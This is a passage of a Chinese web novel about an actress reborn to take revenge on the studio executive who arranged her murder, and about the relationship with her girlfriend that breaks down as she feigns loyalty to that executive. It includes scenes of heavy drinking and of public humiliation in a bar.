推她坠楼的段以溶。 上次是和晏璟霖用餐后见到了这个女人，后来再也没遇到。 她没查到段以溶的消息，一度以为当时的见面是错觉。 她现在又见到这个女人了，这个女人还喊晏璟霖为晏总，所以……段以溶确确实实是认识晏璟霖的。 “晏总。”段以溶跑过来，看到祝星亦后微微颔首，继续跟晏璟霖说：“这边的合同还需要你再确认一下。” 晏璟霖侧头同祝星亦道：“我先处理一下工作。” 等晏璟霖回来后，看到祝星亦还在望着段以溶离去的方向，她问：“怎么了？” 理智在被仇恨灼烧着，祝星亦压制住那团火焰摇摇头：“哦，没什么，那个人是……” “段以溶，我秘书。”晏璟霖答，“她做我秘书许多年了，没怎么离开过公司。她工作能力很强，我之前还跟她开玩笑，我说要是把她调给瑾年用，也许[晏影］早就一路畅通无阻没有敌人。” “但这么好的秘书，我肯定是想自己用。除非要替瑾年解决一些解决不了的事，我才差遣她。”晏璟霖转了下腕上的百达翡丽，“但现在我可以帮瑾年解决，就不需要她离开工作岗位了。不过应该会有那么一天，因为并不是所有的事都需要我亲力亲为。” 血色记忆冲破封印，高楼坠落时的风声刮在耳畔。 被遗忘的疑点如毒藤缠绕成网。 晏瑾年所说的做不了的决定，前世有人气却只能演配角的无奈，苏寄欢偷偷递上的剧本《祈星海》，晏瑾年不满她要和风荇解约，晏瑾年突然换掉的助理…… 控制她的道路选择、遏制她发展的…… 一直都是…… 晏璟霖。 害她辛苦走一遭演艺路，害她马上有出头之日却惨遭杀害的，一都是…… 晏璟霖。 香樟树荫在祝星亦的学士袍上留下孔雀蓝的暗影，她仰起头，碎金的光斑掠过她的脸。 悬在身后还没完全磨好的剑，在这一刻变得无比锋利。 第114章 雨好像还在下 “原来如此。”短短的影子和细碎的香樟树影重叠，祝星亦垂下眼笑了笑，问晏璟霖下一部电影什么时候开拍。 从斩获罗兰电影艺术节的奖项之后，晏璟霖连夜给祝星亦选了很多剧本。文艺片保留，商业片更不在话下。 若是当初早早把这女人收入囊中，不更省事？ 但祝星亦和艺域解约也是迟早的事。 晏璟霖勾头看了眼腕表，她没有过多停留，道别后驱车离去。 晚点时间晏璟霖给祝星亦发了一条信息，一长串简洁明了的商业行程。 祝星亦称自己还要应付《夏影》的通告，《夏影》最近上映，她要忙着去各大影院宣传。 晏璟霖不再多打扰，划了几个活动继续发过去，让祝星亦抽空参加。 祝星亦欣然接受。 真是越来越听话了，晏璟霖感叹。 狗就是这样驯的，奈何她那个妹妹从来不懂。 两个月后，晏璟霖带祝星亦来到即将拍摄的影片《沉没的地狱》制作组宴会。 “我终于等到你空闲下来，现在约你拍个戏还要等你。”晏璟霖领着祝星亦到导演身旁介绍后，又带人去露台。 她上下打量着祝星亦，只觉得这女人自封后之后，整个人都不一样了。 目光越来越沉静，已经没有当初的锐利。 成熟便是如此，也教晏璟霖省了教训她的力气。 “总是抽不开身子，感谢晏总给我面子。”祝星亦将白色披肩拢了拢，“两周后我进组，估摸着明年才能杀青。明年我的片约，晏总有给我安排好吗？” 晏璟霖轻笑：“《沉没》还没开拍，你竟想着明年的戏了。吃着碗里看着锅里？” “我只是想知道晏总有没有为我今后做好打算。” 晏璟霖转过身子，“你现在是一点[苏盛］的戏都不碰了？我以为你会去演[苏盛］的戏，听说苏寄欢给了你一个本子，叫什么《祈星海》，你不拍？” “《祈星海》？”祝星亦掀起眼皮哼了声，“晏总有所不知，《祈星海》这个剧本是苏寄欢自己写的。她写的能是什么好剧本？” 晏璟霖来了兴趣：“她还会写剧本？真是意想不到。” 祝星亦的声音里带了些鄙夷的味道：“写是会写，可剧本难看至极。更何况，她打算找小团队制作这部剧。让我一个罗兰奖影后出演小制作？呵。” 她冷呵出声，手指有一下没一下地敲着栏杆，很快她转过头对上晏璟霖的眼，嘴角勾出淡淡的嘲讽：“想借我的光给她的小制作赚大钱？让她做梦。” 晏璟霖竟不知苏寄欢竟启用小制作让祝星亦出演自制的粗糙剧本。 《夏影》获奖后，苏寄欢的工作室招商更轻松了些，居然舍不得给祝星亦揽些优质的片子？ “真是让我没想到，我以为，她对你情真意切。”晏璟霖饮了口酒后陷入沉默，随后她又道：“原来也是个无情的商人，拿自己女朋友当噱头，为自己赚钱。” 祝星亦闷头将酒一饮而尽，“顾着谈了一年多，我不与她计较。但出演她的剧本，我是一百万个不愿意。” “这还不分？” 祝星亦促狭一笑，“分了不就少个atm？” 晏璟霖抿着唇叹道：“你这个贪心的吸血鬼，真是让我喜欢得要命。明年的片约我今晚给你规划一下，趁还没进组，有空与瑾年用个餐，可好？” 祝星亦举起空杯与她碰杯：“我的荣幸。” // 晚十一点，苏寄欢还在祝星亦家地下车库等。 祝星亦封后之后，她便没有时间和祝星亦聚聚。 影视工作室因为《夏影》的投资成功好了许多，招商没以前那么卡脖子，新的电影也在筹备。 电影前期预计年后筹备完毕，她准备邀祝星亦出演女主角。 等到十一点半，闪灵才开到楼下。 白澜打开车门，扶喝得脚步有点虚浮的祝星亦出来。 “你再晚点回来就难回来了，预报有暴雨。”苏寄欢忙开车门冲出去扶住人：“怎么又喝那么多，今天不是没应酬吗？” 白澜欲要说什么。 今天祝星亦没应酬，而是和晏瑾年吃了一顿饭。 祝星亦摆摆手，“扶我上去，白澜你先下班。” 苏寄欢正要搀祝星亦上去，白澜跟她耳语：“苏小姐，您劝劝她吧，她每次应酬都喝得醉醺醺的，对身体不好。” 苏寄欢点头：“我知道了。” 搀了两步，祝星亦走不太稳。苏寄欢打横把她抱起，回屋子后将人放到沙发上，紧接着开始煮醒酒茶。 茶还没煮好，沙发上的人坐起来玩手机。 “锅里还在煮着，你要是有些困就先眯一会儿。”苏寄欢转身去洗浴间放热水，顺手拿起卸妆油和热毛巾过去给祝星亦擦脸。 手还未碰到脸，祝星亦躲开了。 “不要打扰我，我还有工作要处理。”祝星亦专注打字。 苏寄欢一脸歉意地放下手，“不好意思。” 歪在沙发上的祝星亦面无表情地打字，她打了多久，苏寄欢便等了多久。 叮叮叮—— 手机闹钟响了。 醒酒茶好了。 苏寄欢慌忙起身。 却将祝星亦眉眼中的不耐尽收眼底。 她没多说什么，去厨房倒了杯醒酒茶拿过来，看到祝星亦还在歪在沙发上打字，仍旧沉默地等着。 打着字，祝星亦俯身去拿那杯醒酒茶，苏寄欢正要提醒茶烫，祝星亦手中的杯子倒在桌子上。 手指被烫红了。 祝星亦慌忙捏住耳朵试图让手指快点凉下来，苏寄欢则拉着她去冲凉水。 “我刚要提醒你烫。”苏寄欢拧开水龙头给祝星亦冲手指，冲了会儿看了看，“还好还好，没有烫出泡。” 祝星亦撇着嘴摇摇晃晃坐回沙发上继续打字，苏寄欢不想两人一直沉默着，主动开口：“星星，最近我准备筹拍一部电影，是……” “哦，我正要和你说一个事。” “你说。” “《祈星海》我不拍了。” 苏寄欢马上笑道：“我正好也想和你说这件事，《祈星海》我换了个团队，这个团队我邀请了……” “不只是团队的问题。”祝星亦冷硬地截断她的话，“你不觉得你的剧本很一般吗？毫无亮点，套在哪个职业上都可以用。而且我明明是个很专业的舞者，我不想饰演无法在舞台发光发热的人。” 祝星亦说完继续低头敲字。 手机屏幕的光映得那张明艳面容愈发锋利：“而且我这个咖位出演这种毫无水平的本子，是不是有点自降身价？我正值上升期，演了那么多优质影片，转头出演一个毫无亮点的剧，似乎……有点自断星路。” 她停顿了一下，抬头抿嘴有些奇怪地笑了笑：“苏老师，你知道晏总目前给《沉没的地狱》拉来多少投资吗？两亿，《祈星海》拿什么比？烂透了的剧本？还是……你？” 苏寄欢怔了怔，她缓了许久才组织语言：“这个……我知道，《祈星海》这个剧本确实不是很好，你若是不演这个也好。但我今天主要是想说我有个另一个本子想给你演，稍等我给你看。等你演完《沉没》，看看能不能进这个组。你放心，我也拉了许多投资，质量不会比《沉没》低。” 祝星亦轻轻晃了下手腕拒绝：“我明年的片约满了，你若是想邀我出演，那要等到后年去了。” 苏寄欢脸色变了许多，她起身问：“明年片约满了？我怎么不知道？” 祝星亦揉揉眉心：“我什么事都要告诉你吗？晏璟霖给我选了很多剧本，也带我认识了那些团队，我很满意，明年估计有两部电影，两部电视剧要拍，忙不开。” “你要把行程拍那么满吗？”苏寄欢听到这个行程声调都变了许多，“你都不休息的吗？你这样消耗自己的话，你的……” “苏老师。”祝星亦沉着脸放下手机，她抬头，眼尾泛着酒精催生的薄红，“我最近几个月忙得很，我下周就要进组了，我的行程很赶，通告很多，我不想在我忙于工作的时候还要听你唠叨。你没有自己的事情要做吗？你不是工作室很忙吗？” “是很忙，可我更想……”苏寄欢想辩解什么，但祝星亦那张脸实在冷漠得很，她抓着手指缓缓坐下去，最终说了一句抱歉。 “苏老师，你已经很久没有拍戏了。”祝星亦揉揉眉心，她想与苏寄欢多说些，只是她实在没什么力气去应付眼前还想责怪自己的人，“我很忙，我想着再拿下一些影视大奖，想着终有一天我也能拿到全满贯。我一直在进步，但你呢？” 冰凉的液体从指尖窜到头顶，很快像冰裂一样将整个河面的冰层捅破。 苏寄欢感觉自己被抽走了所有的力气，她紧盯着祝星亦的侧脸许久，艰涩地开口：“星星现在是觉得，我在原地踏步吗？是觉得，我已经跟不上你的步伐了吗？” 祝星亦偏着身子继续敲字。 沉默是唯一的注解，白墙都像是一对挽联。 落地窗外突然响起惊雷。 夏末的麓城突袭暴雨，苏寄欢颤着双眸，喉咙被一捆绳子拉紧。她攥着手指咬牙开口：“我只是想让[苏盛］更强一些，想让自己有更多选剧本、选角色的能力。靠别人施舍剧本和角色终究不是长久之路，这一步虽然难，但只要熬过了，便不会再被谁随意控制。” “我想让你，让我，让[苏盛］的员工们有更多话语权。我无法同时兼顾拍戏和影视工作室的工作，我妈年纪大了，做不了这些，我只能放弃演戏，一心投入到工作里面。” “我知道放弃演戏会让我失去很多，但如果运营好影视工作室，我会得到很多。虽然目前没有办法和[晏影］比，但……” 祝星亦抬眸打断她：“苏老师，[晏影］有晏氏集团，你有什么？” 冰冷冷的眼，比窗外的雨更凉，比突然劈下的闪电更锋利。 苏寄欢强撑着笑说：“我……不是有你吗？” “可想要拥有我的，不止是你。”祝星亦随手丢下手机伸了个懒腰，“我困了，等下洗洗睡觉，你要在这里住下吗？” 苏寄欢垂下眼睫沉默良久。 她的声音混着雷声响起：“不用了，我先回去，你好好休息。” 她沉默着收拾倒了的杯子和醒酒茶，擦干桌子后又端了*一杯轻轻放到桌子上，“锅里还有，你等放温了再喝，我先走了。” 掩上门，苏寄欢乘电梯到负二楼开车驶离这里。 惊雷劈开云层，古斯特冲入雨幕。 暴雨拍打着车窗，车内的橘花香在潮湿的空气里发酵成某种酸涩的东西。 有人打电话过来，苏寄欢以为是祝星亦，赶忙按了下显示屏上的接通键。 不是祝星亦，是熟人。 熟人说今天看到祝星亦和晏瑾年去吃饭，还去了ktv玩，看两人高高兴兴的，问苏寄欢是不是和祝星亦分手了。 砰的一声。 车追尾了。 苏寄欢呆愣地看着雨刷器，前车的人打着伞下车敲车窗。 她没有动，只是机械看着雨刷器瓜着倾盆大雨。 前车司机怒骂，骂怎么不下车，骂开劳斯莱斯了不起啊，骂你给我等着我报警了。 等到凌晨五点，一则消息冲上热搜，又被悄悄撤下。 [星海］的粉丝群里偷偷讨论。 有人说，你们知道吗？昨天苏寄欢追尾一辆车，还十分不配合被追尾的司机，导致司机破口大骂大明星没道德。 有人说，听说苏寄欢赔了钱，但态度很差劲，没想到她私下是这样的人。 还有人说，你们别讨论别人了，星星马上进新剧组，应援赶紧整起来，别搭理无关紧要的人了。 晚上苏寄欢无故发烧，查不出什么原因，她自己觉得奇怪，苏芙便把她送进了医院。 苏寄欢拨通祝星亦的电话，她哑着声音问：“星星，我发烧了，你能来看看我吗？” 那边祝星亦冷漠的声音传来：“我很忙，生病了找医生，找我没用。” 电话挂断。 麓城的雨还没停。 “你怎么哭了？”苏芙担忧地问。 苏寄欢揩了下眼角的泪，“有吗？” 苏芙倒了杯热水放在桌子上叹道：“真是愁人，本来有两个大客户有意向投资我们，但他们听说祝星亦明年要演[晏影］的两个电影，转头投[晏影］了。” 苏芙揉揉太阳穴询问：“鸭头，你能让星星推掉晏氏的戏吗？我们和她们是竞争关系，星星现在号召力强，演了她们的戏，就会让我们的路更难走一些。星星是你女朋友，你说话肯定管用。” “我……”苏寄欢垂头看着自己的掌心，她以前自信地认为自己可以抓住很多东西，但现在好像什么都抓不住了，“我尊重她的选择。” 久久，她侧头看窗外，“雨怎么还在下？” 第115章 要做一座巍峨的山 苏芙掩上病房里的窗帘，絮絮叨叨说了祝星亦近期的行程很满，明年也排满了，今年年底的奖项评选，又是电影又是电视剧，祝星亦肯定又是拿奖拿到手软。 夜雨漫过医院灰白的窗棂，苏寄欢将半张脸埋进被褥，棉絮里蒸腾着难闻的消毒水味。 “恭喜她，我很为她开心。”她说。 “你和她多相处相处啊，我感觉你们好久没有在一起待着了。”苏芙摆弄桌上的花，手抬起放下，花瓣扑簌簌地落下，“你也不要一直忙工作，医生说你是劳累过度加上激素水平激增，免疫力低下才导致发烧。你得照顾好自己，工作室的事虽然忙，但不要操之过急。” [苏盛］和[晏影］不同，[晏影］有强大的晏氏支持，晏璟霖又接手管理[晏影］，各方面因素让[晏影］影视部飞速发展。 但[苏盛］只有苏寄欢一个人在忙。 招商、谈合作、打理工作全堆在苏寄欢身上，这副始终在强撑的身子早已脆弱不堪。 苏芙揉揉鼻子往床边坐坐：“鸭头，你就跟星星说说吧，她只要演咱们的戏，咱们肯定……” “她是我女朋友没错，但她不是可以被我随意利用差遣的工具。”身上忽然起了许多鸡皮疙瘩，苏寄欢往被窝里缩了缩，沙哑的嗓子像干涸在泥洼地里的鱼，“而且，我不想拖累她。工作的事我自己想办法，以后不要再提这件事。” 苏芙握着拳头嚯地从椅子上起身，“你自己想办法？你自己想办法的结果就是不行不行还是不行！晏璟霖从一开始就要搞你，[苏盛］被抢了多少客户，你又能争取多少？现在星星是个香饽饽，谁抢到她谁就能吸引到投资，这么简单的事你都不懂吗？” “苏寄欢，你给了她那么多，你提携她培养她，你让她有了今天。现在只是让她跟你站在一起，让那些眼瞎的投资者奔着她投资你一把拉[苏盛］往前走那么一小步，你做不到吗？她是你女朋友！” 床上的人背对着苏芙，苏芙猛地踢翻椅子，“你不想开口是吗？我去开口，我去求她出演[苏盛］的戏。” 苏芙转身离开。 苏寄欢抓住她的手气喊着：“你干什么！你不许去找她！” 苏芙喉咙里发出模糊的笑声。 她低着头缓缓蹲下，握着苏寄欢的手的时候眼泪忽然流了下来：“可是寄欢，我能做的只有求她了。从《春风吹又生》后，[苏盛］就没有好起来过，《夏影》的成功招揽来的投资者只是杯水车薪。晏氏一直在卡我们，一直在阻碍我们。” 苏芙想起苏寄欢刚回国那年，整个影视圈都对苏寄欢说拒绝。 明明是享誉国外的影后，回国竟遭如此对待，可她们求助无门。 那时她们常坐在阳台数星子，苏芙乐观地说未来肯定会好点。 可苏芙也帮不了苏寄欢。 她只比苏寄欢大了五个月。 后来…… 后来有了[苏盛］。 那时苏寄欢站在尚是小办公室的[苏盛］里说：“谢谢你们，谢谢我的亲人们，谢谢你们为我铸了一座山。” 但历史总在重演。 新一轮的寒潮打在[苏盛］的牌匾上，巍峨的山体正在风化剥落。 苏菱老了，早就不再处理各种工作事务，她自身的资源在不停动荡的娱乐圈里已经没什么用处。 流量的飓风将一切粉碎成渣，托起了一颗颗崭新的明星。 那些明星从籍籍无名到风光无限，只需要一夜。 现在的环境里，前路本来就是不确定，谁会是谁永远的靠山？ 被人视为巍峨高山的女人，也只是一个单枪匹马的可怜人。 女人妄想给她羽翼下的所有人一个安稳的明天，可谁又是女人的明天。 苏芙的声音转低，她握着苏寄欢枯瘦的手，心被扎得疼痛难忍。 这个从来不敢倒下的妹妹，已经好久没有好好睡过了。 苏芙吸吸鼻子，被她握在掌心的手腕嶙峋如寒山石，“寄欢，对不起。我是你的姐姐，可我帮不了你。我看着你一次次跟那些人说好话，低声下气求他们投资我们，又一次次被拒绝，我心里也难受。要不我们别走这条路了，我们选别人的剧本，拍别人的戏也没事的。我们没有晏瑾年那样优越的条件，何必挤破了头去争取这些？” “可是……可是……”苏寄欢用指尖摩挲被角绣着的医院标识，粗粝的针脚硌得指腹生疼，“你们为我镀了一座山，我也可以成为山渡别人。我是比不上晏瑾年，可比不上我的人太多了。我有你们全力托举，别人没有。二姐，人这一辈子太短了，容不下那么多错误。走错一步，走慢一步，就再也挪不动脚。有人好心帮忙载一程，便能省许多力气奔赴下一场泥泞。” “你就当我在庇佑一无所有的我自己，好吗？”她抬眼对上苏芙的视线，“二姐，不要去找星星，她想做什么就去做什么。我扶持她、培养她，是因为她值得。她足够优秀，她值得我载她一程路。哪怕……哪怕这程路她走到了头，该跟我说再见了，我也会祝福她。不是所有的付出都要求回报，况且，靠小我八岁的女朋友照拂我才能让公司才能有起色，说出去也太难听了。” “寄欢……”苏芙的眼泪淹没了她的声音，“别这样扛着了，你还能扛多久啊，别扛了啊……” “好了，你哭起来不好看。”苏寄欢弯着眼一如既往地温柔，她很少这样对苏芙，俩人年纪相差不大，平日最喜欢打打闹闹。 她轻轻拍拍苏芙的手笑说：“你以前说没有什么过不去的槛，怎么现在就被吓坏了？别想了，帮我办出院手续，我想回去好好休息。” “寄……欢……” 苏寄欢摇摇头，伸手抱住苏芙，“二姐，会好的，会好的。” 苏芙的呜咽和大雨齐齐落下。 她希望雨停。 她不知道雨什么时候停。 // 苏寄欢忙完工作赶忙回家烧了锅粥。 祝星亦进组有一段时间了，苏寄欢总是想去看看，总赶不上点儿。 到了家，苏芙打电话问她回家干什么。 苏寄欢说去看祝星亦，怕耽误时间就没叫上苏芙。煮了会儿粥，她拎着保温桶去片场找祝星亦。 《沉没》的前期拍摄地在麓城，后期便是其他城市。苏寄欢想多找祝星亦说说话，若是去了其他城市，想见一面就难了。 到达影视棚附近后，有工作找来。苏寄欢匆匆接完电话开门出去，离得远远的，望见祝星亦的身影。 苏寄欢还没开始喊，晏瑾年便跟在祝星亦身后。两个人有说有笑，晏瑾年开车离开，祝星亦挥手告别。 影子隐入黑暗，苏寄欢抓着保温桶沉默良久又重新坐到车里。 十分钟后，她拨打祝星亦的电话，希望祝星亦去个方便的地方等她。 “星星。”苏寄欢到达影视棚旁的一家露天咖啡店坐下，瞧见祝星亦脸沉着，她问：“你怎么不开心？” “正拍戏呢，你忽然叫我出来。” 拧开保温桶盖子，乳白色的雾升腾起来。苏寄欢的手顿了下，“但十分钟之前，你不是在和晏瑾年见面吗？” 寂静了片刻，苏寄欢垂着眼问：“你很久以前答应过我不会再和晏瑾年有什么牵扯，为什么现在……” “我演她家的戏，我还要沉着脸吗？我总不能为了这个承诺放弃我的演艺生涯？你不觉得你控制欲很强，而且还很自私吗？”祝星亦打断她，语气不咸不淡，说完之后苏寄欢竟然觉得是自己错了。 慢慢地，苏寄欢隔着一层看不见摸不着的东西盯着祝星亦有些不耐烦的脸，咖啡店的灯将她的影子拉得很长很长。 她知道这段感情早就开始满目痍疮，但她始终不愿意承认这个事实。 她选择蒙上眼睛，捂住耳朵。 苏寄欢抓着手里的饭盒盖子说：“抱歉，是我的问题。我给你带了热粥，是你最喜欢的生菜牛肉粥，还热着，快来吃。” 她端出热腾腾的粥放在桌子上，在等待祝星亦回答的十几秒里，她的心一直在提着。 她不明白她是从什么时候开始对祝星亦小心翼翼的，要看脸色，要从声音里分辨情绪，要不在意一些目光。 直到祝星亦接下那碗饭并拿起勺子开始吃时，她的心才落地。 她放低声音道歉：“星星，对不起啊，我……” “不要再讲这些了，我想认真吃饭，不想听你讲大道理。” “好。我不说了。”苏寄欢迅速收声。 久久，她看着边玩手机边喝粥的人说：“星星，今天，是我生日。” “嗯，生日快乐。晚点我让白澜给你备礼物，这段时间很忙，我顾不上这些。” “没关系，谢谢你的祝福，你有空的话，我们要不要一起……” “很忙，抽不出来身子，我拍完戏再说。” “好。”苏寄欢再次应下，“那个，星星……” “还有事？” “今天见到你，我很开心。”苏寄欢抿着唇冲她笑笑。 粥喝得差不多了，祝星亦抽了张纸擦擦手：“你没事就不要来了，我拍戏时间紧，我不想老是抽时间出来和你见面，我想全身心投入进去。” “抱歉。我……尽量……”苏寄欢觉得自己说什么都没有力气，“我只是有点想你。” “又不是见不到面，别瞎感动自己，我很忙，没空想这些。” “好。”苏寄欢收拾着保温桶，只是恍了一下神儿，祝星亦便不见了。 到年后她也没看到祝星亦。 祝星亦年前的一些影视奖项都是苏寄欢代领，《沉默的外乡人》送选金粟奖的那天，她给祝星亦通知这个好消息。 那边声音有点嘈杂，祝星亦一直在说听不见。 连续说了几声听不见，她挂断了苏寄欢的电话。 “你给星星说送选参奖的事了吗？”苏芙过来问，“ilmeth果然还是强的，直接送选到金粟奖评选现场，星星和晏瑾年是平番，星星要是还得奖，那不得……身价又翻了？” “金粟奖……不好拿。”苏寄欢摇头说，“其他送选的电影也很强劲，而且又是国外评审团，星星没什么优势。” “不管怎么样，参与也是不得了了。”苏芙打了个哈欠，随意翻翻朋友圈，点了个赞之后给好友发语音。 “白澜，你怎么在旅游啊？不上班了？” 咻的一声，消息发了过去。 很快那边传来消息：“苏芙小姐，我上周就被星亦解雇了。她换了一个新的工作室，那些人更加专业，她就不需要我了。” 歪在沙发上的苏芙忽然坐起来，“她居然把你解雇了？” 第116章 够了！ “对，解雇我了。她给我留了两天时间考虑，还给了我一笔丰厚的补偿金。”白澜说这话的时候，脑子里浮现祝星亦递给她解雇合同的那天。 白纸黑字的合同摊在面前，她们坐在清城的一家咖啡馆里彼此沉默了好久。 白澜没问什么，低着头签下自己的名字。 其实半年前白澜就觉得自己的位置保不住了。 自祝星亦拿到罗兰奖，一切都开始不一样。行程赶，通告多，戏约没断过，每天除了工作就是工作。 白澜劝过祝星亦不要这么疲惫，但祝星亦从来没听过。直到半年前白澜和祝星亦发生一次争吵，白澜隐隐约约觉得祝星亦已经不再需要她。 多金影后是不是需要一个更好更专业的助理，是不是需要一个成熟处理事务，而不是劝她休息的助理？ 很多时候白澜会在祝星亦的事业选择上飘忽不定。 作为助理，她希望祝星亦劳逸结合。但作为祝星亦的粉丝，她又很想看到她不停拿到那些闪闪发光的荣誉。作为朋友，她希望祝星亦照顾好自己，停下来，好好睡一觉。 她签完解雇合同后看祝星亦的脸，眼下的乌青被厚厚的粉底遮住，嘴角是公式化的笑。 白澜一直都觉得祝星亦很好，所以对祝星亦掏心掏肺。 祝星亦去忙的时候，会让白澜抽空睡一觉，等祝星亦忙完，白澜就让她休息休息。两个人会在很晚收工后跑便利店吃东西，祝星亦会吐槽哪个人演得真烂，会问白澜有没有抽空补补觉。 无论去参加什么活动，祝星亦都会为白澜的工作状态考虑，她们会推心置腹地聊天，会一起用餐一起聊天一起看地上的影子数天上的星星。 两个人在各个活动、剧组跑，去天南，去海北，闯了一路，陪伴了一路，就好像世界上只有她们两个人，互相打气，坚信以后一定会一起去更远的远方。 白澜以为她们会永远那样忙碌但快乐。 而越来越优秀的祝星亦已经不再需要她了。 祝星亦也早就变成另外一个人。 执着于拿奖，热衷于应酬，忠诚于不该忠诚的人。 所以那次争吵之后白澜很快就明白，她只能陪祝星亦走到这一步。 签完合同拿完补偿金，白澜没有离开清城。她独自去清城各大景点逛了逛，心里又空又闷。 当初被祝星亦选中当助理的那天，她没有想过她会以这种方式离开祝星亦。 没有争吵，没有挽留，没有激烈的情绪，没有场面话，没有奚落，就这样平平静静地离开了。 白澜给新助理留了110页的PPT，希望新助理照顾好祝星亦。 她平静地交接完，平静地告别祝星亦。 掂着行李箱离开酒店的那一刻，她咬着牙哭了。 她并不想说祝星亦是那种风光了就抛弃一起苦过的朋友的人。 可事实就是如此。 但当苏芙吐槽的时候，白澜还是为祝星亦辩解了几句：“她有她的想法和安排，而且我确实不适合再当她助理了。我们在事业的规划上有很大的分歧，谁也劝不动谁，她把我解雇，也是情有可原。况且，我本来就不可能当她一辈子的助理。” 苏芙开着免提有些失神地望着天花板。 是啊，没有谁会陪谁一辈子。 苏芙安慰了白澜几句挂断了电话，她握着手机盯着手机界面，转头想跟苏寄欢说什么，发现苏寄欢已经去了阳台。 苏寄欢关上落地窗沉默地抽烟。 春风裹着花香漫上阳台，苏寄欢拂过颊边的碎发，安静地看远方的绿意。 几天后苏寄欢驱车去清城找祝星亦，她没跟祝星亦说要去找她，直接来到了剧组。 问了片场的人，那人说祝星亦不在。匆忙赶到清城的苏寄欢已经没有什么力气，她坐下来喝了一口那人倒的水。 有人看苏寄欢来了，赶忙过来问好。得知她要找祝星亦，这人想了想，说出一个地点。 “我记得她和制片人经常说要去那里玩，今天她们下了班又约着去那里了。” 苏寄欢说了几声感谢，马上定位到那处开车赶过去。 可到了那里苏寄欢才发现那里是个很大的酒吧。 灯牌在苏寄欢眼里投下暗影，尼古丁、酒精的味道犹如实体化的黏稠浪潮，猝不及防地堵住她的呼吸道。 她本能地撤退半步，许久，她推门而入。 舞池里的频闪灯将扭动的人群的身影扎烂，苏寄欢侧身挤过拥挤的人群，平底鞋在浸透酒液的地毯上险些打滑。 那抹熟悉的身影出现在视野尽头时，她腕间的金玉镯子突然变得千斤重。 角落卡座氤氲着雪白的烟雾，祝星亦轻叩酒杯，玻璃杯的棱光在她酡红的颧骨上跳动。 祝星亦正在拍摄的电视剧《暗涌》的制片人余冬灌了一口酒，笑看着晏璟霖将红酒缓缓淋在祝星亦锁骨凹陷处。 夜店的暗光在祝星亦脸上投下一层层影子，像一座座被打碎的[最佳女主角]奖杯。 她看到了苏寄欢，身子一歪，锁骨处的酒倾泻下来滴洒在裙身上。 “你来了？快来坐坐啊。”祝星亦招手。 苏寄欢站在一直沸腾的人群里望着招手的人，昔日桀骜不驯但又会流露出乖巧一面的姑娘，现在像堕入地狱的魔鬼。 她小心保护着她、叮嘱着她，但她还是甘愿走入乌烟瘴气的名利场。 自甘堕落，自愿成为名利的信徒。 山谷里燃烧的火堆忽然在整个山头蔓延开来，从山那边，到山这边。 很快，苏寄欢走了过去，周围有人带着奇怪的腔调问：“哎呦呦，这是谁啊？” 祝星亦踉跄着起身，手掐着苏寄欢的小臂，身上是橘花和酒精混合的味道，“来来来，给大家介绍一下，这是我的女朋友，大名鼎鼎的国际影后苏寄欢。我和她，已经在一起两年了。” 她的尾音淹没在玻璃杯相撞的脆响里，晏璟霖帮忙递来酒时，隔着冰桶升腾的雾气打量苏寄欢。 “原来是苏～小～姐啊。”余冬抬眼，手指夹着烟在苏寄欢面前的空杯沿磕了磕烟灰，“苏小姐，我记得你好久没拍戏了，身为一个演员不拍戏可不行啊。这圈子瞬息万变，没曝光没流量，很快就会被人遗忘的。” 晏璟霖俯身往苏寄欢面前盛了烟灰的杯子汩汩注着酒，酒满了，她用指节敲敲桌面，“苏小姐，我这里还有几个本子，你得空看一看，喜欢的话，我就邀你来演。不喜欢的话，我再为你挑，可好？” 她又给自己倒了杯酒，笑道：“你来演，我肯定要给你主角的位置，也会给你最高的待遇。怎么样？” “是啊，你都多久没演戏了。晏总人很好，她选的本子都是最上乘的，[晏影]的影视团队都很优质，比还没什么起色的[苏盛]好了上千倍。”祝星亦拿起浮着烟灰的酒杯递到苏寄欢嘴边，笑说：“你也不想永远为一个没有未来的项目忙碌吧？去拍戏还有钱可赚，为[苏盛]扶不起来的影视部忙碌，得不偿失。” 余冬和晏璟霖对视一眼发出低低的笑意。 片刻后，晏璟霖点燃香烟，吐出的烟雾飘到苏寄欢脸上，“不过今天是出来玩的，不是谈生意的。苏小姐，喝一杯，给我个面子。” 祝星亦抬抬手腕，烟灰在橙黄色的酒液里晃动，“快喝，给晏总一个面子。” 苏寄欢盯着烟灰，许久许久，她想起在《寄明月》片场教祝星亦煮茶的那天。 那天，祝星亦第一次学会了用繁琐的茶具煮茶，她笑着说，苏老师，以后我给你煮茶，你一定要一直喝我给你煮的。 苏寄欢温柔地看着她，说，好啊。 但后来苏寄欢没怎么让祝星亦煮过茶，她总会自己煮给祝星亦喝。看到可爱的小狐狸抱着杯子赞叹她煮的茶是世界上最好喝的，她会下意识盯着小狐狸的脸呆笑。 现在，她再一次呆呆地看着她的小狐狸。 那么为什么呢？为什么，会变成现在这个样子。 她咬着牙接过酒杯，喝下满是烟灰的酒。烟灰混着酒精在食管里灼烧，她失态地咳了几下。 四周爆发的哄笑里，晏璟霖夹着烟凝视苏寄欢屈辱又压抑着愤恨的脸。 苏寄欢抿着唇，低眸对祝星亦说：“我不是给她面子，我是给你面子。” 祝星亦取来几个空杯，一一倒上酒。 整整十杯酒。 祝星亦抬手弯着唇角说：“来，苏老师，喝下这十杯，就当再给我点面子。” 余冬掐灭了烟，叫喊，快喝，给你女朋友面子。 哄笑声中，苏寄欢望着眼含笑意的祝星亦，她试图从那双眼睛里找到一些祝星亦还珍惜她、爱她的证据。 但这双美丽的琥珀色眸子蒙上了一层雾，只剩一层蒙着灰雾的光，再看不到其他的东西。 苏寄欢清楚地意识到什么，却固执地紧紧抓着不肯放手。 随后她转过头，将十杯酒一一饮下。 酒液灼烧着喉管，苏寄欢放下最后一个杯子，那边的祝星亦又开始倒酒。 “够了！”苏寄欢忽然紧紧攥着祝星亦的手，她大力将人拽起，道了句失陪把祝星亦拽出酒吧。 第117章 你要说什么事 笑声在身后响起，满脸戏谑和嘲讽的人盯着她的背影又谈论着什么。 是说，璟霖，你看她那样，恼羞成怒。 是说，璟霖，你可真是会让苏寄欢吃瘪。 又是说，璟霖，祝星亦真是你的好狗啊。 苏寄欢紧紧抓着祝星亦的手腕，一声不吭地往外走。 穿过旋转门来到酒吧外面，祝星亦烦闷地吼：“干什么啊，不喝就不喝，你拉我出来做什么？” 一言不发的人拽着她的手继续往前走，她有些生气地喊了句[放手啊我手腕很疼！］，那人才放开她。 春风裹着细碎的花卷过街道，街道蜿蜒的尽头是一座教堂。 